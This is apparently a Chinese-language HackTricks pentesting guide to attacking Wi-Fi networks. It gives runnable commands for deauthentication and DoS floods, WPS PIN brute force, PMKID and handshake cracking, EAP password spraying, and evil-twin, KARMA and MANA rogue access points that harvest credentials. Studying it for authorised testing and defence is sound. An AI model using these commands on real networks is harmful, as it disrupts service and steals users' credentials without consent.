hacktricks/generic-methodologies-and-resources/pentesting-wifi/README.md

44 KiB
Raw Blame History

Wifi渗透测试

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击

支持HackTricks的其他方式

加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客洞察
深入了解黑客攻击的刺激和挑战

实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界

最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新

Discord 上加入我们,今天就开始与顶尖黑客合作!

Wifi基本命令

ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis

工具

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

使用docker运行airgeddon

docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

它可以执行 Evil Twin、KARMA 和 Known Beacons 攻击,然后使用钓鱼模板来获取网络真实密码或捕获社交网络凭据。

git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

此工具自动执行 WPS/WEP/WPA-PSK 攻击。它将自动:

  • 将接口设置为监控模式
  • 扫描可能的网络 - 并让您选择受害者
  • 如果是 WEP - 启动 WEP 攻击
  • 如果是 WPA-PSK
  • 如果是 WPSPixie dust 攻击和暴力破解攻击(注意暴力破解攻击可能需要很长时间)。注意它不尝试空 PIN 或数据库/生成的 PIN。
  • 尝试从 AP 捕获 PMKID 以破解
  • 尝试对 AP 的客户端进行去认证以捕获握手
  • 如果获得 PMKID 或握手,尝试使用 top5000 密码进行暴力破解。

攻击总结

  • DoS
  • 去认证/解除关联 -- 断开所有人(或特定 ESSID/客户端)的连接
  • 随机假 AP -- 隐藏网络,可能会崩溃扫描器
  • 过载 AP -- 尝试杀死 AP通常不是很有用
  • WIDS -- 与 IDS 玩耍
  • TKIP, EAPOL -- 一些特定的攻击以 DoS 一些 AP
  • 破解
  • 破解 WEP(多种工具和方法)
  • WPA-PSK
  • WPS pin "暴力破解"
  • WPA PMKID 暴力破解
  • [DoS +] WPA 握手 捕获 + 破解
  • WPA-MGT
  • 用户名捕获
  • 暴力破解 凭据
  • Evil Twin(有或没有 DoS
  • Open Evil Twin [+ DoS] -- 用于捕获强制门户凭据和/或执行 LAN 攻击
  • WPA-PSK Evil Twin -- 如果您知道密码,对网络攻击有用
  • WPA-MGT -- 用于捕获公司凭据
  • KARMA, MANA, Loud MANA, Known beacon
  • + Open -- 用于捕获强制门户凭据和/或执行 LAN 攻击
  • + WPA -- 用于捕获 WPA 握手

DOS

去认证数据包

这种攻击最常见的方式是使用 去认证 数据包。这些是一种“管理”帧,负责将设备与接入点断开连接。伪造这些数据包是 黑客许多 Wi-Fi 网络的关键,因为您可以随时强制任何客户端断开网络连接。这样做的容易程度有些可怕,通常作为收集用于破解的 WPA 握手的一部分。

除了暂时使用这种断开连接来收集用于破解的握手之外,您还可以让那些去认证不断地来,这样做的效果是似乎来自他们所连接的网络的去认证数据包不断地打击客户端。因为这些帧没有加密,许多程序通过伪造它们并将它们发送到网络上的一个或所有设备来利用管理帧。
描述来自 这里

使用 Aireplay-ng 进行去认证

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 表示去认证
  • 1 是要发送的去认证包的数量如果你愿意可以发送多个0 表示连续发送
  • -a 00:14:6C:7E:40:80 是接入点的MAC地址
  • -c 00:0F:B5:34:30:30 是要去认证的客户端的MAC地址如果省略这个则发送广播去认证不总是有效
  • ath0 是接口名称

解除关联数据包

解除关联数据包是另一种管理帧,用于断开节点(意味着任何设备,如笔记本电脑或手机)与附近接入点的连接。去认证和解除关联帧之间的主要区别在于它们的使用方式。

一个接入点AP希望断开一个恶意设备的连接会发送去认证包以通知设备它已从网络中断开而解除关联包则用于在接入点关闭电源、重启或离开区域时断开任何节点的连接。

描述来自 这里

这种攻击可以通过 mdk4模式 "d")执行:

# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

通过mdk4实施更多DOS攻击

来自 这里

攻击模式b信标泛洪

发送信标帧以在客户端显示假AP。这有时可以使网络扫描器甚至驱动程序崩溃

# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

攻击模式a认证拒绝服务

向范围内发现的所有AP发送认证帧。过多的客户端可能会冻结或重置多个AP。

# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

攻击模式 pSSID 探测和暴力破解

探测 AP 并检查响应,用于检查 SSID 是否已正确去隐藏,以及 AP 是否在您的发送范围内。隐藏 SSID 的暴力破解,无论是否使用词表,均可用。

攻击模式 mMichael 对策利用

发送随机数据包或在另一个 QoS 队列上重新注入重复数据包,以引发 TKIP AP 上的 Michael 对策。AP 将关闭整整一分钟,使其成为有效的 DoS

# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

攻击模式 e: EAPOL Start 和 Logoff 数据包注入

向 AP 大量发送 EAPOL Start 帧,以使其忙于处理伪造会话,从而无法处理任何合法客户端。或者通过注入伪造的 EAPOL Logoff 消息来登出客户端。

# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ATTACK MODE s针对 IEEE 802.11s 网状网络的攻击

对网状网络中的链接管理和路由进行各种攻击。洪水攻击邻居和路由,创建黑洞并转移流量!

ATTACK MODE wWIDS 混淆

通过将客户端交叉连接到多个 WDS 节点或伪造恶意 APs 来混淆/滥用入侵检测和预防系统。

# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

攻击模式 f: 数据包模糊器

一个简单的数据包模糊器,具有多个数据包来源和一套不错的修改器。小心使用!

Airgedon

Airgedon 提供了之前评论中提到的大多数攻击:

WPS

WPS 代表 Wi-Fi Protected Setup。它是一种无线网络安全标准旨在使路由器和无线设备之间的连接更快更容易。WPS 仅适用于使用 WPA 个人或 WPA2 个人安全协议加密的密码的无线网络。WPS 不适用于使用已被淘汰的 WEP 安全的无线网络,任何具有基本工具和技能的黑客都可以轻松破解。(来自这里

WPS 使用一个 8 位长度的 PIN 码来允许用户连接到网络,但首先检查前 4 个数字,如果正确,然后检查后 4 个数字。因此,可以暴力破解前半部分,然后是后半部分(只有 11000 种可能性)。

WPS 暴力破解

有两个主要工具可以执行此操作Reaver 和 Bully。

  • Reaver 被设计为针对 WPS 的强大且实用的攻击,并已针对各种接入点和 WPS 实现进行了测试。
  • Bully 是 WPS 暴力破解攻击的新实现,用 C 语言编写。它相对于原始的 reaver 代码有几个优势:依赖性更少,改进了内存和 CPU 性能,正确处理了字节序,以及更健壮的选项集。

这种攻击利用了八位数 WPS PIN 码的弱点;由于这个问题,协议泄露了有关 PIN 前四位数字的信息,而最后一位数字作为校验和,这使得暴力破解 WPS AP 变得容易。
请注意,一些设备包括暴力破解保护,通常会阻止反复尝试攻击的MAC 地址。在这种情况下,这种攻击的复杂性增加了,因为你必须在测试 PIN 码时轮换 MAC 地址。

如果找到了有效的 WPS 代码Bully 和 Reaver 都会使用它来发现用于保护网络的 WPA/WPA2 PSK因此你将能够在需要时随时连接。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

智能蛮力攻击

在开始尝试每个可能的PIN之前您应该检查是否有可用的已发现针对您正在攻击的AP的PIN取决于制造商MAC以及PIN软件生成的PIN

  • 已知PIN的数据库是为某些制造商的接入点制作的已知它们使用相同的WPS PIN。此数据库包含MAC地址的前三个八位字节和一个相应PIN的列表这些PIN对于该制造商来说非常可能。
  • 有几种生成WPS PIN的算法。例如ComputePIN和EasyBox在计算中使用接入点的MAC地址。但Arcadyan算法还需要一个设备ID。

WPS Pixie Dust攻击

Dominique Bongard 发现一些AP在生成随机数(称为E-S1E-S2时存在弱点这些随机数本应保密。如果我们能够找出这些随机数是什么我们就可以轻松找到AP的WPS PIN因为AP必须在散列中给出它以证明它也知道PIN并且客户端不是连接到一个恶意AP。这些E-S1和E-S2本质上是“解锁包含WPS pin的锁盒”的钥匙。更多信息请访问https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)

基本上一些实现在使用随机密钥加密PIN的2部分时失败了因为在认证通信期间它被分解为2部分并发送给客户端因此可以使用离线攻击来蛮力破解有效的PIN。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Null Pin 攻击

一些非常糟糕的实现允许 Null PIN 连接也非常奇怪。Reaver 可以测试这个Bully 不能)。

reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

所有提出的WPS攻击都可以使用 airgeddon 轻松执行。

  • 5 和 6 允许你尝试自定义PIN码(如果你有的话)
  • 7 和 8 执行Pixie Dust攻击
  • 13 允许你测试空PIN码
  • 11 和 12 将从可用数据库中收集与选定AP相关的PIN码生成可能的PIN码使用ComputePIN、EasyBox以及可选的Arcadyan推荐为什么不呢
  • 9 和 10 将测试每一个可能的PIN码

WEP

如此破碎且消失了,我不打算谈论它。只需知道 airgeddon 有一个名为“All-in-One”的WEP选项来攻击这种保护。更多工具提供类似选项。

加入HackenProof Discord服务器,与经验丰富的黑客和漏洞赏金猎人交流!

黑客洞察
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和洞察,跟上快节奏的黑客世界

最新公告
通过最新的漏洞赏金发布和关键平台更新,保持信息的更新

加入我们的 Discord ,今天就开始与顶尖黑客合作!

WPA/WPA2 PSK

PMKID

2018年hashcat作者披露了一种新型攻击,它不仅依赖于单个数据包而且不需要任何客户端连接到我们的目标AP只需要攻击者和AP之间的通信。

事实证明,很多现代路由器在发送给正在关联的某人的第一个EAPOL帧的末尾附加了一个可选字段,所谓的Robust Security Network,其中包括所谓的PMKID

正如原帖所解释的,PMKID是通过使用我们已知的数据派生出来的:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

由于“PMK Name”字符串是常量我们知道AP和站点的BSSID以及PMK与从完整的4次握手中获得的是同一个这就是hashcat需要的全部信息以便破解PSK并恢复密码短语
描述摘自此处

收集这些信息并暴力破解本地密码,你可以执行:

airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

捕获的PMKID 将在控制台中显示,并且也会被保存在 _/tmp/attack.pcap_ 中
现在,将捕获的文件转换为 hashcat/john 格式并破解它:

hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

请注意,正确的哈希包含4个部分,例如:4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__如果你的包含3个部分,那么它是无效的PMKID捕获不有效

请注意,hcxdumptool 也能捕获握手(会出现类似这样的信息:MP:M1M2 RC:63258 EAPOLTIME:17091)。你可以使用cap2hccapx握手转换为hashcat/john格式。

tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

握手捕获

攻击 WPA/WPA2 网络的一种方式是捕获 handshake 并尝试 offline 破解使用的密码。为此,你需要找到 受害者 网络的 BSSIDchannel,以及连接到网络的 client
一旦你有了这些信息,你就必须开始 listening 那个 BSSID 在那个 channel 的所有通信,因为希望握手会在那里发送:

airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap

现在您需要将客户端进行去认证几秒钟以便它会自动再次向AP进行认证请阅读DoS部分以找到多种去认证客户端的方法

aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work

请注意由于客户端被强制下线它可能会尝试连接到不同的AP或者在其他情况下连接到不同的网络。

一旦在airodump-ng中出现了一些握手信息,这意味着握手已被捕获,你可以停止监听:

一旦握手被捕获,你可以使用aircrack-ng破解它:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

检查文件中是否存在握手

aircrack

aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

如果此工具在完成的握手之前发现了一个未完成的ESSID握手它将不会检测到有效的握手。

pyrit

apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA 企业版 (MGT)

对于讨论企业 Wifi 可能使用的不同认证方法很重要。对于这类 Wifiairodump-ng 中你可能会看到类似这样的内容:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi

EAP(可扩展认证协议)是认证通信核心,在此基础上,服务器使用认证算法客户端请求者)进行认证,在某些情况下,客户端也用来认证服务器。 主要在这种情况下使用的认证算法包括:

  • EAP-GTC 是一种EAP方法用于支持在EAP-PEAP中使用硬件令牌和一次性密码。其实现类似于MSCHAPv2但不使用对等挑战。相反密码以明文发送到接入点(对降级攻击非常有趣)。
  • EAP-MD-5消息摘要 客户端发送密码的MD5哈希。不推荐容易受到字典攻击没有服务器认证也无法生成每个会话的有线等效隐私WEP密钥。
  • EAP-TLS传输层安全 它依赖于客户端和服务器端证书来执行认证并可用于动态生成基于用户和基于会话的WEP密钥以保护后续通信。
  • EAP-TTLS隧道传输层安全 通过加密通道(或隧道)实现客户端和网络的相互认证以及派生动态的、每用户的、每会话的WEP密钥。与EAP-TLS不同EAP-TTLS仅需要服务器端证书客户端将使用凭据
  • PEAP受保护的可扩展认证协议 PEAP类似于EAP协议,但创建了一个TLS隧道来保护通信。然后可以在EAP之上使用较弱的认证协议因为它们将受到隧道的保护。
  • PEAP-MSCHAPv2 这也被称为PEAP因为它被广泛采用。这只是在PEAP之上的脆弱的挑战/响应称为MSCHAPv2它受到TLS隧道的保护
  • PEAP-EAP-TLS或仅PEAP-TLSEAP-TLS非常相似但在交换证书之前会创建一个TLS隧道。

您可以在这里这里找到更多关于这些认证方法的信息。

用户名捕获

阅读https://tools.ietf.org/html/rfc3748#page-27,如果您使用EAP"身份" 消息必须得到支持,并且用户名将在**"响应身份"消息中以明文**发送。

即使使用最安全的认证方法之一:PEAP-EAP-TLS,也有可能捕获在EAP协议中发送的用户名。为此,捕获认证通信(在一个频道内启动airodump-ng并在同一接口上使用wireshark),并按eapol过滤数据包。
在"响应,身份"数据包中,客户端的用户名将会出现。

匿名身份

(信息取自https://www.interlinknetworks.com/app_notes/eap-peap.htm

EAP-PEAP和EAP-TTLS都支持身份隐藏。在WiFi环境中接入点AP通常在关联过程中生成一个EAP-身份请求。为了保持匿名用户系统上的EAP客户端可能只响应足够的信息以允许第一跳RADIUS服务器处理请求如下例所示。

  • EAP-身份 = 匿名

在此示例中所有用户将共享伪用户名“匿名”。第一跳RADIUS服务器是一个EAP-PEAP或EAP-TTLS服务器它驱动PEAP或TTLS协议的服务器端。然后内部受保护的认证类型将由本地处理或代理到远程家庭RADIUS服务器。

  • EAP-身份 = 匿名@realm_x

在此示例中属于不同领域的用户隐藏自己的身份但指出他们属于哪个领域以便第一跳RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到他们家庭领域的RADIUS服务器后者将充当PEAP或TTLS服务器。第一跳服务器纯粹充当RADIUS中继节点。

或者第一跳服务器可以充当EAP-PEAP或EAP-TTLS服务器并处理受保护的认证方法或将其代理到另一个服务器。此选项可用于为不同领域配置不同的策略。

在EAP-PEAP中一旦PEAP服务器和PEAP客户端建立了TLS隧道PEAP服务器就会生成一个EAP-身份请求并通过TLS隧道传输。客户端对这第二个EAP-身份请求做出响应通过加密隧道发送包含用户真实身份的EAP-身份响应。这可以防止任何窃听802.11流量的人发现用户的真实身份。

EAP-TTLS的工作方式略有不同。在EAP-TTLS中客户端通常通过受TLS隧道保护的PAP或CHAP进行认证。在这种情况下客户端将在建立隧道后发送的第一个TLS消息中包含一个用户名属性和一个密码或CHAP-密码属性。

无论使用哪种协议一旦建立了TLS隧道PEAP/TTLS服务器就会了解用户的真实身份。真实身份可能是形式为_user@realm或简单的user。如果PEAP/TTLS服务器也在认证用户_它现在知道了用户的身份并继续进行受TLS隧道保护的认证方法。或者PEAP/TTLS服务器可能会向用户的家庭RADIUS服务器转发一个新的RADIUS请求。这个新的RADIUS请求已经去除了PEAP或TTLS协议。如果受保护的认证方法是EAP则内部EAP消息将不带EAP-PEAP或EAP-TTLS包装器传输到家庭RADIUS服务器。传出RADIUS消息的用户名属性包含用户的真实身份 - 而不是传入RADIUS请求的匿名用户名属性。如果受保护的认证方法是PAP或CHAP仅由TTLS支持则从TLS有效载荷中恢复的用户名和其他认证属性将放置在传出RADIUS消息中代替传入RADIUS请求中的匿名用户名和TTLS EAP-消息属性。

EAP-暴力破解(密码喷涂)

如果客户端预期使用用户名和密码(注意在这种情况下EAP-TLS将不适用),那么您可以尝试获取用户名列表(见下一部分)和密码,并尝试使用air-hammer进行暴力破解访问。

./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt

你也可以使用 eaphammer 来进行这次攻击:

./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt

客户端攻击理论

网络选择和漫游

尽管802.11协议对于站点如何加入ESS有非常具体的规则但它并没有规定站点应如何选择要连接的ESS。此外该协议允许站点在共享相同ESSID的接入点之间自由漫游因为您不希望在建筑物的一端走到另一端时失去WiFi连接等。然而802.11协议并没有规定应如何选择这些接入点。此外尽管站点必须对ESS进行认证才能与接入点关联但802.11协议并不要求接入点对站点进行认证。

首选网络列表PNLs

每次站点连接到无线网络时网络的ESSID都会存储在站点的首选网络列表PNL中。PNL是站点过去连接过的每个网络的有序列表PNL中的每个条目都包含网络的ESSID和建立连接所需的任何特定于网络的配置信息。

被动扫描

在基础设施网络中接入点定期传输信标帧以向附近的站点宣传其存在和能力。信标是广播帧这意味着它们旨在被范围内的所有附近站点接收。信标包括有关AP支持的速率、加密能力、附加信息的信息最重要的是信标帧包含AP的ESSID只要没有禁用ESSID广播

在被动扫描期间客户端设备监听附近接入点的信标帧。如果客户端设备接收到一个其ESSID字段与客户端PNL中的ESSID匹配的信标帧客户端将自动连接到发送信标帧的接入点。然后假设我们想要针对当前未连接到任何无线的无线设备。如果我们至少知道客户端PNL中的一个条目我们可以通过创建具有该条目ESSID的自己的接入点简单地强制客户端连接到我们。

主动探测

802.11中使用的第二种网络选择算法称为主动探测。使用主动探测的客户端设备不断传输探测请求帧以确定哪些AP在范围内以及它们的能力如何。探测请求有两种形式定向和广播。定向探测请求针对特定的ESSID并且是客户端检查特定网络是否在附近的方式。

使用定向探测的客户端将为其PNL中的每个网络发送探测请求。应该注意的是定向探测是识别附近隐藏网络存在的唯一方式。广播探测请求的工作方式几乎完全相同但是发送时SSID字段设置为NULL。这将广播探测请求发送给所有附近的接入点允许站点检查其首选网络是否在附近而不会泄露其PNL的内容

简单AP及其重定向到互联网

在解释如何执行更复杂的攻击之前,将解释如何创建一个AP重定向流量到连接互联网的接口。

使用ifconfig -a检查创建AP的wlan接口和连接到互联网的接口是否存在。

DHCP & DNS

apt-get install dnsmasq #Manages DHCP and DNS

创建配置文件 /etc/dnsmasq.conf,内容如下:

interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

然后设置IP路由

ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1

然后启动 dnsmasq

dnsmasq -C dnsmasq.conf -d

hostapd

apt-get install hostapd

创建配置文件 hostapd.conf:

interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1

停止烦人的进程,设置监控模式,并启动hostapd

airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf

转发和重定向

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Evil Twin

Evil Twin 攻击是一种 Wi-Fi 攻击,它利用大多数计算机和手机只能看到无线网络的“名称”或 ESSID因为基站不需要对客户端进行认证的事实。这实际上使得区分具有相同名称和相同类型加密的网络变得非常困难。事实上许多网络会有几个使用相同名称的网络扩展接入点以扩大接入范围而不会让用户感到困惑。

由于客户端的实现方式记住802.11 协议允许站点在同一 ESS 内的接入点之间自由漫游),可以使设备更改它所连接的基站。可以通过提供更好的信号(这并不总是可能的)或通过阻止对原始基站的访问(去认证包,干扰或某种形式的 DoS 攻击)来实现这一点。

还要注意,现实世界中的无线部署通常不止一个接入点,这些接入点通常更强大,并且由于它们朝向天花板的位置,具有更好的视线范围。去认证一个单一的接入点通常会导致目标向另一个有效的接入点漫游,而不是你的恶意 AP除非所有附近的接入点都被去认证声音大或者你对恶意 AP 的位置非常小心(困难)。

你可以创建一个非常基础的 Open Evil Twin没有将流量路由到互联网的能力方法是

airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon

您还可以使用 eaphammer 创建一个恶意兄弟注意使用eaphammer创建恶意兄弟时接口不应该处于监视模式):

./eaphammer -i wlan0 --essid exampleCorp --captive-portal

或使用 Airgeddon选项5,6,7,8,9在 Evil Twin 攻击菜单内)。

请注意,默认情况下,如果 PNL 中保存的 ESSID 被标记为 WPA 保护,设备不会自动连接到开放的 Evil Twin。您可以尝试对真实 AP 进行 DoS 攻击,希望用户会手动连接到您的开放 Evil Twin或者您可以对真实 AP 进行 DoS 攻击并使用 WPA Evil Twin 来捕获握手过程(使用这种方法您无法让受害者连接到您的网络,因为您不知道 PSK但您可以捕获握手过程并尝试破解它

一些操作系统和防病毒软件会警告用户连接到开放网络是危险的...

WPA/WPA2 Evil Twin

您可以创建一个使用 WPA/2 的 Evil Twin,如果设备已配置为使用 WPA/2 连接到该 SSID它们将尝试连接。无论如何为了完成 4 方握手,您还需要知道客户端将使用的密码。如果您不知道连接将无法完成

./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"

企业级邪恶双胞胎

要理解这些攻击,我建议先阅读简要的WPA 企业级解释

使用 hostapd-wpe

hostapd-wpe 需要一个配置文件才能工作。为了自动化生成这些配置,你可以使用 https://github.com/WJDigby/apd_launchpad(下载 /etc/hostapd-wpe/ 中的 python 文件)

./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
在配置文件中,您可以选择许多不同的内容,如 ssid、频道、用户文件、证书/密钥、dh 参数、wpa 版本和认证等...

[**使用 hostapd-wpe 与 EAP-TLS 允许任何证书登录。**](evil-twin-eap-tls.md)

**使用 EAPHammer**
# Generate Certificates
./eaphammer --cert-wizard

# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds

默认情况下EAPHammer 使用以下认证方法(注意 GTC 是首先尝试获取明文密码的方法,然后是使用更强大的认证方法):

GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5

这是避免长时间连接的默认方法。然而,您也可以指定服务器从最弱到最强的认证方法:

--negotiate weakest

或者您也可以使用:

  • --negotiate gtc-downgrade 使用高效的GTC降级实现明文密码
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP 手动指定提供的方法(提供与组织相同的认证方法和相同的顺序,攻击将更难以被检测到)。
  • 在wiki中查找更多信息

使用Airgeddon

Airgeddon 可以使用之前生成的证书为WPA/WPA2-Enterprise网络提供EAP认证。假网络将连接协议降级到EAP-MD5因此它将能够捕获用户和密码的MD5。之后,攻击者可以尝试破解密码。
Airgeddon 为您提供了**连续的Evil Twin攻击嘈杂仅在有人连接时创建Evil Attack平滑**的可能性。

在Evil Twins攻击中调试PEAP和EAP-TTLS TLS隧道

此方法在PEAP连接中进行了测试但由于我正在解密任意的TLS隧道因此它也应该适用于EAP-TTLS

在_hostapd-wpe_的配置中,注释掉包含_dh_file_的行dh_file=/etc/hostapd-wpe/certs/dh#dh_file=/etc/hostapd-wpe/certs/dh
这将使hostapd-wpe使用RSA交换密钥而不是DH所以您将能够在知道服务器私钥的情况下解密流量。

现在像往常一样使用修改过的配置启动Evil Twin,使用**hostapd-wpe。同时在执行Evil Twin攻击的接口上启动wireshark**。

现在或稍后当您已经捕获了一些认证尝试时您可以在wireshark中添加私有RSA密钥编辑 --> 偏好设置 --> 协议 --> TLS --> (RSA密钥列表) 编辑...

添加一个新条目,并用以下值填写表单:IP地址 = 任意 -- 端口 = 0 -- 协议 = 数据 -- 密钥文件选择您的密钥文件,为避免问题选择一个没有密码保护的密钥文件)。

并查看新的**"解密的TLS"标签**

KARMA, MANA, Loud MANA 和 Known beacons 攻击

ESSID 和 MAC 黑/白名单

下表列出了不同类型的MFACLs管理帧访问控制列表以及使用时的效果

# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*

[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears

[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]

KARMA

KARMA攻击是利用站点网络选择过程的第二种流氓接入点攻击形式。在2005年的一篇白皮书中Dino Dai Zovi和Shane Macaulay描述了攻击者如何配置接入点来监听定向探测请求并对所有这些请求作出匹配的定向探测响应。这导致受影响的站点自动向攻击者的接入点发送关联请求。接入点随后回复一个关联响应使受影响的站点连接到攻击者的接入点。

MANA

根据Ian de Villiers和Dominic White的说法现代站点被设计为通过忽略那些尚未至少响应过一次广播探测请求的接入点的定向探测响应来保护自己免受KARMA攻击。这导致了直到2015年易受KARMA攻击的站点数量显著下降直到White和de Villiers开发出了一种绕过此类保护的方法。在White和de Villiers改进的KARMA攻击MANA攻击使用定向探测响应来重建附近站点的PNL首选网络列表。当从站点接收到广播探测请求时攻击者的接入点用该站点的PNL中已经在直接探测中看到的任意SSID响应。

总结来说MANA算法的工作原理如下每次接入点接收到探测请求时它首先确定它是广播探测还是定向探测。如果是定向探测发送者的MAC地址被添加到哈希表中如果它还不在那里并且ESSID被添加到该设备的PNL中。AP随后响应一个定向探测响应。如果是广播探测接入点对该设备PNL中的每个网络响应探测响应。

使用eaphammer进行MANA攻击

./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]

响亮的MANA攻击

请注意标准的MANA攻击仍然无法攻击根本不使用定向探测的设备。因此如果我们之前也不知道设备PNL中的任何条目我们需要找到其他方法来攻击它。

一种可能性是所谓的响亮的MANA攻击。这种攻击依赖于这样一个理念在彼此近距离的客户端设备很可能至少在它们的PNL中有一些共同的条目。

